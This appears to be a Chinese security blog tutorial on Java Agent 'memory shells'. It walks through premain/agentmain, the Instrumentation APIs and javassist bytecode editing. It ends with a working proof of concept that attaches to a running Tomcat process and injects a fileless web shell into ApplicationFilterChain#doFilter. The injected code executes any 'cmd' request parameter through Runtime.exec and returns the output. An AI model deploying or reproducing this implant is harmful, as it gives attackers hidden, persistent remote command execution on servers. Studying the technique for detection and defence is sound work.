初识 Agent 内存马

初识Agent内存马

先说一下Agent

在JDK1.5后,javaagent是一种能够在不影响正常编译的情况下,修改字节码。

java作为一种强类型的语言,不通过编译就不能够进行jar包生成。而有了javaagent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以吧javaagent理解成一种代码注入的方式。但是这种注入比起spring的aop更加优美。

premain and agentmain

配置agent和写一个main方法没区别,只是方法名不同,并且需要在resourses/META-INF/MANIFEST.MF文件中设置相应的代理方法类

两个方法:premain, agentmain

二者都需要写好后打包成jar包使用,但使用方式不同,premain需要在命令执行时指定为-javaagent:参数,而agentmain可以配合VirtualMachine获取正在执行的java进程直接使用

Example : remain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// premain
package org.example;

import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String s, Instrumentation i) {
        System.out.println("Fuck premain!");
    }
}

// resourses/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Premain-Class: org.example.PremainTest

使用(这边偷懒直接使用同一jar包

image-20240228165859073

Example : agentmain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// agentmain
package org.example;

import java.lang.instrument.Instrumentation;

public class AgentmainTest {

    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("Fuck agentmain!");
    }
}

// test
public class Test {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {

        VirtualMachine virtualMachine = VirtualMachine.attach("60296");
        virtualMachine.loadAgent(System.getProperty("user.dir") + "/out/artifacts/agentTest_jar/agentTest.jar");
        virtualMachine.detach();
        System.out.println("ends");

    }
}

// resourses/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Agent-Class: org.example.AgentmainTest

测试使用了正在运行中的tomcat进程

image-20240228170351545

image-20240228170406943

Instrumentation

上述两种方法都传入了一个Instrumentation类的实例,看一下这个类

是个接口,看一下实现类InstrumentationImpl,提供了很多方法,重点看一下内存马常用的三个函数

redefineClasses

redefineClasses,顾名思义,重新定义类。redefineClasses加载路线和正常定义的类相同,只是先将类的来源更换为指定的字节码

看一下源码,传入可变个ClassDefinition类型参数,首先做一些简单的判断,然后进入redefineClasses0方法(native)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
@Override
public void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException {
    trace("retransformClasses");
    if (!isRedefineClassesSupported()) {
        throw new UnsupportedOperationException("redefineClasses is not supported in this environment");
    }
    if (definitions == null) {
        throw new NullPointerException("null passed as 'definitions' in redefineClasses");
    }
    for (int i = 0; i < definitions.length; ++i) {
        if (definitions[i] == null) {
            throw new NullPointerException("element of 'definitions' is null in redefineClasses");
        }
    }
    if (definitions.length == 0) {
        return; // short-circuit if there are no changes requested
    }
    redefineClasses0(mNativeAgent, definitions);
}

看一下ClassDefinition,构造方法传入一个Class和一个包含Class的文件,两者是可选关系必须包含其中一个

1
2
3
4
5
6
7
8
9
public
ClassDefinition(    Class<?> theClass,
                    byte[]  theClassFile) {
    if (theClass == null || theClassFile == null) {
        throw new NullPointerException();
    }
    mClass      = theClass;
    mClassFile  = theClassFile;
}

Instrumentation#redefineClasses有一定的局限性:新老类的父类、实现接口、访问符、字段必须相等,被新增或删除的方法必须是private static/final修饰

addTransformer

addTransformer用于加载一个转换器,首先判断传入的transformer是否为空,锁进程,判断canRetransform,根据其不同来控制要添加到的transformer集合类型,跟进看了一下TransformerManager#addTransformer,就是更新了一下transformerInfo数组通过重定义的形式,以此添加transformer,向下,判断TransformerManager中transformer数量,唯一则调用setHasRetransformableTransformers,如果canRetransform则判断数量后直接调用setHasTransformers,这两个方法都是native方法不深入看了,了解这个方法是在jvmti链上追加一个新节点就好

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void addTransformer(ClassFileTransformer transformer, boolean canRetransform) {
    trace("addTransformer");
    if (transformer == null) {
        throw new NullPointerException("null passed as 'transformer' in addTransformer");
    }
    synchronized (this) {
        if (canRetransform) {
            if (!isRetransformClassesSupported()) {
                throw new UnsupportedOperationException(
                    "adding retransformable transformers is not supported in this environment");
            }
            if (mRetransfomableTransformerManager == null) {
                mRetransfomableTransformerManager = new TransformerManager(true);
            }
            mRetransfomableTransformerManager.addTransformer(transformer);
            if (mRetransfomableTransformerManager.getTransformerCount() == 1) {
                setHasRetransformableTransformers(mNativeAgent, true);
            }
        } else {
            mTransformerManager.addTransformer(transformer);
            if (mTransformerManager.getTransformerCount() == 1) {
                setHasTransformers(mNativeAgent, true);
            }
        }
    }
}

retransformerClasses

retransformClasses用于重新定义类,对传入的classes做简单的判断,调用retransformClasses0(native)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public void retransformClasses(Class<?>... classes) {
    trace("retransformClasses");
    if (!isRetransformClassesSupported()) {
        throw new UnsupportedOperationException(
          "retransformClasses is not supported in this environment");
    }
    if (classes.length == 0) {
        return; // no-op
    }
    retransformClasses0(mNativeAgent, classes);
}

跟进看一下transformer进去看一下

这个类是一个转换类文件的代理接口,提供了一个transform方法,可以获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器,addTransformer会注册Transformer到Java agent,当有新的类被jvm加载时,jvm会自动回调tranform方法,修改后将新的字节码返回给jvm。同时存在transform链,也就是多个转换器,其中间使用classFileBuffer传递字节码

1
2
3
4
5
6
7
8
9
default byte[]
transform(  ClassLoader         loader,
            String              className,
            Class<?>            classBeingRedefined,
            ProtectionDomain    protectionDomain,
            byte[]              classfileBuffer)
    throws IllegalClassFormatException {
    return null;
}

也就是说addTranformer只是执行了将我们重写的tranformer对象添加到agent中,侧重点在重写transform方法

现在来看一下如何重写transform方法来修改字节码

这边用到了另一个类javassist

javassist

一个用于编辑Java字节码的类库

javassist用于编辑java字节码,可以使java程序在运行时定义一个新类,并在jvm加载时修改类文件,使用方法类似于反射

几个核心组件:

ClassPool:存放CtClass的容器

CtClass:加强版的Class

CtMethod:加强版的Method,提供一些修改方法体的方法

Agent Retransform Demo

直接写一版测试一下

用于测试被修改的类org.test.Main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package org.test;

import static java.lang.Thread.sleep;

public class Main {
    public static void main(String[] args) throws Exception {
        while (true) {
            fuck();
            sleep(3000);
        }
    }

    public static void fuck() {
        System.out.println("Fuck off!!");
    }
}

重写transform的TransformerDemo类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TransformerDemo implements ClassFileTransformer {
//    public static final String

    @Override
    public byte[] transform(ClassLoader         loader,
                            String              className,
                            Class<?>            classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[]              classfileBuffer)
            throws IllegalClassFormatException {

        try {
            // get ClassPool
            ClassPool classPool = ClassPool.getDefault();

            // add class search path
            if (classBeingRedefined != null) {
                ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(classClassPath);
            }

            // get class
            CtClass ctClass = classPool.get("org.test.Main");

            // get method
            CtMethod ctMethod = ctClass.getDeclaredMethod("main");

            // set method
            ctMethod.setBody("{ System.out.println(\"Hello mother fucker :)\") }");

            // return byte code
            return ctClass.toBytecode();

        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

执行类AgentmainTest

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentmainTest {

    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        Class[] classes = inst.getAllLoadedClasses();
        for (Class aClass : classes) {
            if (aClass.getName().equals("org.test.Main")) {
                inst.addTransformer(new TransformerDemo(), true);
                inst.retransformClasses(aClass);
            }
        }
    }
}

Test类用于执行agentmain方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Test {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {

        List<VirtualMachineDescriptor> list = VirtualMachine.list();

        for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
            if (virtualMachineDescriptor.displayName().equals("org.test.Main")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
                virtualMachine.loadAgent("out/artifacts/agentTest_jar/agentTest.jar");
                virtualMachine.detach();
            }
        }

    }
}

MANIFEST.MF配置

1
2
3
4
5
Manifest-Version: 1.0
Premain-Class: org.example.PremainTest
Agent-Class: org.example.AgentmainTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true

打包执行

image-20240229171429919

PoC

知道了使用Java Agent来修改正在运行在jvm中的方法体,那么就可以直接hook一些jvm一定会调用并且修改后不会影响正常逻辑的方法进而实现内存马

这边尝试简单修改ApplicationFilterChain#doFilter,这也是网上Agent利用比较多的

addTransformer + retransformerClasses

Test.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Test {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {

        List<VirtualMachineDescriptor> list = VirtualMachine.list();

        for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
//            System.out.println(virtualMachineDescriptor.displayName());
            if (virtualMachineDescriptor.displayName().contains("org.apache.catalina.startup.Bootstrap")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
                virtualMachine.loadAgent(System.getProperty("user.dir") + "/out/artifacts/agentTest_jar/agentTest.jar");
                virtualMachine.detach();
                System.out.println("attach ok");
            }
        }

    }
}

TransformerDemo.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TransformerDemo implements ClassFileTransformer {
//    public static final String

    @Override
    public byte[] transform(ClassLoader         loader,
                            String              className,
                            Class<?>            classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[]              classfileBuffer)
            throws IllegalClassFormatException {

        try {
            // get ClassPool
            ClassPool classPool = ClassPool.getDefault();

            // add class search path
            if (classBeingRedefined != null) {
                ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(classClassPath);
            }

            // get class
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

            // get method
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

            // set method
            ctMethod.insertBefore("""
                    {
                        jakarta.servlet.http.HttpServletRequest req = (jakarta.servlet.http.HttpServletRequest) request;
                        String cmd = req.getParameter("cmd");
                        if (cmd != null) {
                           java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                           java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(is));
                           StringBuilder sb = new StringBuilder();
                           String line = null;
                           while((line = br.readLine()) != null) {
                               sb.append(line + "\\n");
                           }
                           br.close();
                           is.close();
                           response.setContentType("text/html;charset=utf-8");
                           response.getWriter().print(sb.toString());
                           response.getWriter().flush();
                           response.getWriter().close();
                        }
                    }""");

            // return byte code
            return ctClass.toBytecode();

        } catch (Exception e) {
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

AgentmainTest.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentmainTest {

    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        Class[] classes = inst.getAllLoadedClasses();
        for (Class aClass : classes) {
            if (aClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                inst.addTransformer(new TransformerDemo(), true);
                inst.retransformClasses(aClass);
            }
        }
    }
}

其实这边如果注入到ApplicationFilterChain#doFilter有一个问题,就是如果网站起来了但是没访问过,那么这个类是不会加载的(Java动态加载),那么此时我们注入agent,上述代码是获取不到ApplicationFilterChain类的

这边做了一个小改进,hook类变更为StandardWrapperValve#invoke,这样既避免了运行过程中多次调用内存马(代码就不放了

0%